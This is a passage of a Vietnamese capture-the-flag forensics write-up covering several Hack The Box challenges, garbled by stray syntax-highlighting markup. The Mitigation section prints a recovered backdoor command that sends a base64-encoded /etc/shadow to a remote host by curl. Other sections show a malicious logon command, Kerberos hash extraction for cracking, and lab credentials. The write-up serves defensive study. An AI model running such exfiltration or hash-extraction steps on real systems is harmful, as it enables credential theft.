<span class="hljs-operator">&gt;</span> <span class="hljs-number">5.15</span><span class="hljs-number">.134</span>                                                                                                                                                                                       
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

What<span class="hljs-string">'s the hash of the root account'</span>s password, enter the whole line (ex: root:$2$JgiaOAai....)                                                                                                  
<span class="hljs-operator">&gt;</span> root:$1$YfuRJudo$cXCiIJXn9fWLIt8WY2Okp1:<span class="hljs-number">19804</span>:<span class="hljs-number">0</span>:<span class="hljs-number">99999</span>:<span class="hljs-number">7</span>:::                                                                                                                                     
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

What <span class="hljs-keyword">is</span> the PPPoE username                                                                                                                                                                       
<span class="hljs-operator">&gt;</span> yohZ5ah                                                                                                                                                                                        
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

What <span class="hljs-keyword">is</span> the PPPoE password                                                                                                                                                                       
<span class="hljs-operator">&gt;</span> ae<span class="hljs-operator">-</span>h<span class="hljs-operator">+</span>i$i<span class="hljs-operator">^</span>Ngohroorie<span class="hljs-operator">!</span>bieng6kee7oh                                                                                                                                                               
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

What <span class="hljs-keyword">is</span> the WiFi SSID                                                                                                                                                                            
<span class="hljs-operator">&gt;</span> VLT<span class="hljs-operator">-</span>AP01                                                                                                                                                                                       
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

What <span class="hljs-keyword">is</span> the WiFi Password                                                                                                                                                                        
<span class="hljs-operator">&gt;</span> french<span class="hljs-operator">-</span>halves<span class="hljs-operator">-</span>vehicular<span class="hljs-operator">-</span>favorable                                                                                                                                                              
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

What are the <span class="hljs-number">3</span> WAN ports that redirect traffic <span class="hljs-keyword">from</span> WAN <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> LAN (numerically sorted, comma sperated: <span class="hljs-number">1488</span>,<span class="hljs-number">8441</span>,<span class="hljs-number">19990</span>)                                                                             
<span class="hljs-operator">&gt;</span> <span class="hljs-number">1778</span>,<span class="hljs-number">2289</span>,<span class="hljs-number">8088</span>                                                                                                                                                                                 
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

[<span class="hljs-operator">+</span>] Here <span class="hljs-keyword">is</span> the flag: HTB{Y0u<span class="hljs-string">'v3_m4st3r3d_0p3nWRT_d4t4_3xtr4ct10n!!_cff2b8a17b727a23acefa92dcaa528ec}</span>
</code></pre>
<h2 id="heading-caving">Caving</h2>
<p><strong><em>credit: un1dt5</em></strong></p>
<p>Bài cho ta folder log events của Windows. Mình dùng Hayabusa và Timeline Explorer để lọc log ra đọc những event đáng chú ý (hoặc có thể đọc chay nma mình lười ;-;)</p>
<p>Sau khi mở file csv được lọc ta thấy ngay được 1 log cảnh báo<code>Suspicious Powershell Download</code></p>
<p><img src="https://hackmd.io/_uploads/B19hgSMEA.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rk3xZrfNA.png" alt="image" /></p>
<p>Decode base64 đoạn Cookie <code>f=SFRCezFudHJ1UzEwbl9kM3QzY3QzZF8hISF9</code> ra ta lấy được flag</p>
<p><img src="https://hackmd.io/_uploads/Bkpw-SfNC.png" alt="image" /></p>
<h2 id="heading-mitigation">Mitigation</h2>
<p><strong><em>credit: un1dt5</em></strong></p>
<p>Bài cho 1 instance Linux, connect vào và tìm cách loại bỏ backdoor Đầu tiên mình dùng pspy để kiểm tra các process đang chạy trên instance. Liên tục là những sessions SSH được connect vào server, và thực hiện shell script, trong đó có 1 đoạn đáng chú ý: <code>CMD: UID=0 PID=388 | sh -c cat /tmp/.c|base64 -d|sh</code> Đoạn lệnh này đọc file <code>.c</code> trong <code>/tmp</code>, sau đó decode base64 ra và thực thi. Mình mở file ra để đọc thử thì thấy nội dung như sau:</p>
<pre><code class="lang-solidity">curl <span class="hljs-operator">-</span>X POST <span class="hljs-operator">-</span>d <span class="hljs-string">"data=$(base64 /etc/shadow)&amp;i=$(hostname -I | awk '{print $1}')"</span> https:<span class="hljs-comment">//vault.htb/hashes/save</span>
</code></pre>
<p>Dấu hiệu của việc có backdoor kết nối ssh tới server linux làm mình nhớ tới <a target="_blank" href="https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27">XZ Utils backdoor</a> hay <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2024-3094">CVE-2024-3094</a>, một lỗ hổng được phát hiện gần đây trong thư viện <code>liblzma</code>, cụ thể trong 2 phiên bản 5.6.0 và 5.6.1. Và ở trên server Linux của bài, phiên bản 5.6.1-1 đã được cài đặt</p>
<pre><code class="lang-solidity">root@5a349bb86666:<span class="hljs-operator">~</span># dpkg <span class="hljs-operator">-</span>l <span class="hljs-operator">|</span> grep liblzma
ii  liblzma5:amd64              <span class="hljs-number">5.6</span><span class="hljs-number">.1</span><span class="hljs-number">-1</span>               amd64        XZ<span class="hljs-operator">-</span>format compression <span class="hljs-class"><span class="hljs-keyword">library</span></span>
</code></pre>
<p>Và mình đã tiến hành update thư viện <code>liblzma</code> lên phiên bản mới nhất hiện tại (hoặc cũng có thể downgrade về bản cũ hơn) <a target="_blank" href="https://snapshot.debian.org/package/xz-utils/5.6.1%2Breally5.4.5-1/">tại đây</a></p>
<pre><code class="lang-solidity">root@5a349bb86666:<span class="hljs-operator">~</span># dpkg <span class="hljs-operator">-</span>i liblzma5_5<span class="hljs-number">.6</span><span class="hljs-number">.1</span><span class="hljs-operator">+</span>really5<span class="hljs-number">.4</span><span class="hljs-number">.5</span><span class="hljs-operator">-</span>1_amd64.deb 
Selecting previously unselected package liblzma5:amd64.
(Reading database ... <span class="hljs-number">7594</span> files and directories currently installed.)
Preparing to unpack liblzma5_5<span class="hljs-number">.6</span><span class="hljs-number">.1</span><span class="hljs-operator">+</span>really5<span class="hljs-number">.4</span><span class="hljs-number">.5</span><span class="hljs-operator">-</span>1_amd64.deb ...
Unpacking liblzma5:amd64 (<span class="hljs-number">5.6</span><span class="hljs-number">.1</span><span class="hljs-operator">+</span>really5<span class="hljs-number">.4</span><span class="hljs-number">.5</span><span class="hljs-number">-1</span>) over (<span class="hljs-number">5.6</span><span class="hljs-number">.1</span><span class="hljs-number">-1</span>) ...
Setting up liblzma5:amd64 (<span class="hljs-number">5.6</span><span class="hljs-number">.1</span><span class="hljs-operator">+</span>really5<span class="hljs-number">.4</span><span class="hljs-number">.5</span><span class="hljs-number">-1</span>) ...
Processing triggers <span class="hljs-keyword">for</span> libc<span class="hljs-operator">-</span>bin (<span class="hljs-number">2.36</span><span class="hljs-number">-9</span><span class="hljs-operator">+</span>deb12u7) ...
</code></pre>
<p>Sau khi update xong 1 lúc thì có thông báo backdoor đã bị loại bỏ trên server</p>
<pre><code class="lang-solidity">Broadcast message <span class="hljs-keyword">from</span> root@5a349bb86666 (somewhere) (Thu May <span class="hljs-number">23</span> 09:<span class="hljs-number">10</span>:<span class="hljs-number">38</span> <span class="hljs-number">2024</span>)

Backdoor eliminated<span class="hljs-operator">!</span> Check <span class="hljs-operator">/</span>
</code></pre>
<p>Vào root và đọc flag thôi</p>
<pre><code class="lang-solidity">root@5a349bb86666:<span class="hljs-operator">~</span># cd <span class="hljs-operator">/</span>
root@5a349bb86666:<span class="hljs-operator">/</span># ls
bin  boot  dev  etc  flag.txt  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  <span class="hljs-keyword">var</span>
root@5a349bb86666:<span class="hljs-operator">/</span># cat flag.txt
HTB{oH_xZ_w3_f0uNd_tH3_b4cKd0or}
</code></pre>
<h2 id="heading-counter-defensive">Counter Defensive</h2>
<pre><code class="lang-solidity"><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>
<span class="hljs-operator">|</span>       Title       <span class="hljs-operator">|</span>                                                                       Description                                                                       <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>
<span class="hljs-operator">|</span> Counter Defensive <span class="hljs-operator">|</span>                                      As your crew prepares to infiltrate the vault, a critical discovery <span class="hljs-keyword">is</span> made:                                       <span class="hljs-operator">|</span>
<span class="hljs-operator">|</span>                   <span class="hljs-operator">|</span>                     An opposing faction has embedded malware within a workstation in your infrastructure, targeting invaluable strategic plans.         |
<span class="hljs-operator">|</span>                   <span class="hljs-operator">|</span>             Your task <span class="hljs-keyword">is</span> to dissect the compromised system, trace the malware<span class="hljs-string">'s operational blueprint, and uncover the method of these remote attacks.  |
|                   |                                                Reveal how the enemy monitors and controls their malicious software.                                     |
|                   |                          Understanding their tactics is key to securing your plans and ensuring the success of your mission to the vault.               |
|                   |                                               To get the flag, spawn the docker instance and answer to the questions!                                   |
+-------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+

[1/10] What time did the victim finish downloading the Black-Myth-Wukong64bit.exe file? Please, submit the epoch timestamp. (ie: 168061519)
&gt; 1713451126
[+] Correct!

[2/10] What is the full malicious command which is run whenever the user logs in? (ignore explorer.exe, ie: nc.exe 8.8.8.8 4444)
&gt; %PWS% -nop -w h "start "$env:temp\wct98BG.tmp""
[+] Correct!

[3/10] Referring to the previous file, '</span>wct98BG.tmp', what <span class="hljs-keyword">is</span> the first process that starts when the malicious file <span class="hljs-keyword">is</span> opened? (ie: svhost.exe)
<span class="hljs-operator">&gt;</span> mshta.exe
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

[<span class="hljs-number">4</span><span class="hljs-operator">/</span><span class="hljs-number">10</span>] What <span class="hljs-keyword">is</span> the value of the variable named <span class="hljs-operator">*</span><span class="hljs-operator">*</span>cRkDgAkkUElXsDMMNfwvB3<span class="hljs-operator">*</span><span class="hljs-operator">*</span> that you get after decoding the first payload? (ie: randomvalue)
<span class="hljs-operator">&gt;</span> CbO8GOb9qJiK3txOD4I31x553g
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

[<span class="hljs-number">5</span><span class="hljs-operator">/</span><span class="hljs-number">10</span>] What algorithm<span class="hljs-operator">/</span>encryption scheme <span class="hljs-keyword">is</span> used in the final payload? (ie: RC4)
<span class="hljs-operator">&gt;</span> AES
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

[<span class="hljs-number">6</span><span class="hljs-operator">/</span><span class="hljs-number">10</span>] What <span class="hljs-keyword">is</span> the full path of the key containing the password to derive the encryption key? (ie: HKEY_LOCAL_MACHINE\SAM\SAM\LastSkuUpgrade)
<span class="hljs-operator">&gt;</span> HKEY_CURRENT_USER\software\classes\Interface\{a7126d4c<span class="hljs-operator">-</span>f492<span class="hljs-operator">-</span>4eb9<span class="hljs-operator">-</span>8a2a<span class="hljs-operator">-</span>f673dbdd3334}\TypeLib
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

[<span class="hljs-number">7</span><span class="hljs-operator">/</span><span class="hljs-number">10</span>] What <span class="hljs-keyword">is</span> the attacker<span class="hljs-string">'s Telegram username? (ie: username)
&gt; Pirate_D_Mylan
[+] Correct!

[8/10] What day did the attacker'</span>s server first send a <span class="hljs-string">'new-connection'</span> message? (Format: DD<span class="hljs-operator">/</span>MM<span class="hljs-operator">/</span>YYYY)
<span class="hljs-operator">&gt;</span> <span class="hljs-number">18</span><span class="hljs-operator">/</span>04<span class="hljs-operator">/</span><span class="hljs-number">2024</span>
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

[<span class="hljs-number">9</span><span class="hljs-operator">/</span><span class="hljs-number">10</span>] What<span class="hljs-string">'s the password for the 7z archive                                                                                                                                                    
&gt; arameter-none                                                                                                                                                                                  
[+] Correct!

[10/10] Submit the md5sum of the 2 files in the archive that the attacker exfiltrated (sort hashes, connect with '</span><span class="hljs-keyword">_</span><span class="hljs-string">', ie: 5f19a..._d9fc0...)                                                     
&gt; 83aa3b16ba6a648c133839c8f4af6af9_ffcedf790ce7fe09e858a7ee51773bcd                                                                                                                              
[+] Correct!

[+] Here is the flag: HTB{t3l3gr4m_b4ckf1r3d!!!_9628c067df4b91776081d336bc81cecb}</span>
</code></pre>
<h2 id="heading-tangled-heist">Tangled Heist</h2>
<p><strong><em>credit: un1dt5</em></strong></p>
<p>Bài cho ta 1 file network capture. Mình dùng Wireshark để phân tích.</p>
<h3 id="heading-which-is-the-username-of-the-compromised-user-used-to-conduct-the-attack-for-example-username">Which is the username of the compromised user used to conduct the attack? (for example: username)</h3>
<p>Ở packet thứ 10 ta có thể thấy username <code>Copper</code> trong mục <code>NTLMSSP_AUTH</code>, bên cạnh đó trong cả file network capture chỉ có 2 IP qua lại là <code>10.10.10.43</code> (là user) và <code>10.10.10.100</code> (là server)</p>
<p><img src="https://hackmd.io/_uploads/ByiIBSMEA.png" alt="image" /></p>
<h3 id="heading-what-is-the-distinguished-name-dn-of-the-domain-controller-dont-put-spaces-between-commas-for-example-cncndcdc">What is the Distinguished Name (DN) of the Domain Controller? Don't put spaces between commas. (for example: CN=...,CN=...,DC=...,DC=...)</h3>
<p>Sử dụng filter <code>ldap contains "Domain Controllers"</code> ta lọc được packet có chứa thông tin về <code>Distinguished Name</code></p>
<p><img src="https://hackmd.io/_uploads/BycmvSfNR.png" alt="image" /></p>
<h3 id="heading-which-is-the-domain-managed-by-the-domain-controller-for-example-corpdomain">Which is the Domain managed by the Domain Controller? (for example: corp.domain)</h3>
<p>Kết hợp thông tin ở câu 1 và câu 2 ta có thể thấy được Domain name là <code>recorp.htb</code></p>
<h3 id="heading-how-many-failed-login-attempts-are-recorded-on-the-user-account-named-ranger-for-example-6">How many failed login attempts are recorded on the user account named 'Ranger'? (for example: 6)</h3>
<p>Sử dụng filter <code>ldap contains "Ranger"</code>, ta thấy được packet chứa thông tin về số lần nhập sai mật khẩu ở mục <code>badPwdCount</code></p>
<p><img src="https://hackmd.io/_uploads/BygvkYBzEA.png" alt="image" /></p>
<h3 id="heading-which-ldap-query-was-executed-to-find-all-groups-for-example-objectvalue">Which LDAP query was executed to find all groups? (for example: (object=value))</h3>
<p>Biết rằng lệnh do attacker execute, ta sử dụng filter <code>ip.src==10.10.10.43 &amp;&amp; ldap contains "group"</code> là tìm được đáp án</p>
<p><img src="https://hackmd.io/_uploads/HyUy5BM4A.png" alt="image" /></p>
<h3 id="heading-how-many-non-standard-groups-exist-for-example-1">How many non-standard groups exist? (for example: 1)</h3>
<p>Sử dụng filter <code>ldap contains "group"</code>, ở cuối ta thấy được 5 groups có tên "không bình thường lắm" (packet 347 chứa thông tin của 2 groups).</p>
<p><img src="https://hackmd.io/_uploads/H1hl2SfV0.png" alt="image" /></p>
<h3 id="heading-one-of-the-non-standard-users-is-flagged-as-disabled-which-is-it-for-example-username">One of the non-standard users is flagged as 'disabled', which is it? (for example: username)</h3>
<p>Để tìm được đáp án, ta kiểm tra mục "userAccountControl", mình sử dụng thêm <a target="_blank" href="https://www.techjutsu.ca/uac-decoder">tool này</a> để biết được tham số của disbled account là gì và tìm được đáp án là <code>Radiation</code></p>
<p><img src="https://hackmd.io/_uploads/H1ZpZUfVA.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/By8XMUf4A.png" alt="image" /></p>
<h3 id="heading-the-attacker-targeted-one-user-writing-some-data-inside-a-specific-field-which-is-the-field-name-for-example-fieldname">The attacker targeted one user writing some data inside a specific field. Which is the field name? (for example: field_name)</h3>
<p>Ở packet 669 có một modify request đến từ ip của attacker và thông tin bị modify nằm trong <code>wWWHomePage</code></p>
<p><img src="https://hackmd.io/_uploads/rJVPXLfER.png" alt="image" /></p>
<h3 id="heading-which-is-the-new-value-written-in-it-for-example-value123">Which is the new value written in it? (for example: value123)</h3>
<p>Cũng ở trong packet trên ta tìm được thông tin bị modify là <a target="_blank" href="http://rebcorp.htb/qPvAdQ.php"><code>http://rebcorp.htb/qPvAdQ.php</code></a></p>
<h3 id="heading-the-attacker-created-a-new-user-for-persistence-which-is-the-username-and-the-assigned-group-dont-put-spaces-in-the-answer-for-example-usernamegroup">The attacker created a new user for persistence. Which is the username and the assigned group? Don't put spaces in the answer (for example: username,group)</h3>
<p>Ở packet 671 ta thấy request add thêm user <code>B4ck</code> và ở packet 675 ta thấy user <code>B4ck</code> trong group <code>Enclave</code></p>
<p><img src="https://hackmd.io/_uploads/S1fn4IMVA.png" alt="image" /></p>
<h3 id="heading-the-attacker-obtained-an-hash-for-the-user-hurricane-that-has-the-ufdontrequirepreauth-flag-set-which-is-the-correspondent-plaintext-for-that-hash-for-example-plaintextpassword">The attacker obtained an hash for the user 'Hurricane' that has the UF_DONT_REQUIRE_PREAUTH flag set. Which is the correspondent plaintext for that hash? (for example: plaintext_password)</h3>
<p><img src="https://hackmd.io/_uploads/H1ZvDIfNC.png" alt="image" /></p>
<p>Ở packet 684 và 685 ta thấy 2 protocol là <code>KRB5</code> (kerberos), và để extract và lấy được password mình sử dụng <a target="_blank" href="https://github.com/openwall/john/blob/bleeding-jumbo/run/krb2john.py">krb2john</a> và <code>john</code></p>
<p>Theo hướng dẫn của krb2john:</p>
<pre><code class="lang-solidity">For extracting <span class="hljs-string">"AS-REQ (krb-as-req)"</span> hashes,
tshark <span class="hljs-operator">-</span>r AD<span class="hljs-operator">-</span>capture<span class="hljs-number">-2</span>.pcapng <span class="hljs-operator">-</span>T pdml <span class="hljs-operator">&gt;</span> data.pdml
tshark <span class="hljs-number">-2</span> <span class="hljs-operator">-</span>r test.pcap <span class="hljs-operator">-</span>R <span class="hljs-string">"tcp.dstport==88 or udp.dstport==88"</span> <span class="hljs-operator">-</span>T pdml <span class="hljs-operator">&gt;</span><span class="hljs-operator">&gt;</span> data.pdml
./run<span class="hljs-operator">/</span>krb2john.py data.pdml
</code></pre>
<p><img src="https://hackmd.io/_uploads/BJrdD8zVA.png" alt="Screenshot 2024-05-23 205847" /></p>
<p>Dưới đây là toàn bộ câu hỏi và đáp án của bài:</p>
<pre><code class="lang-solidity"><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span 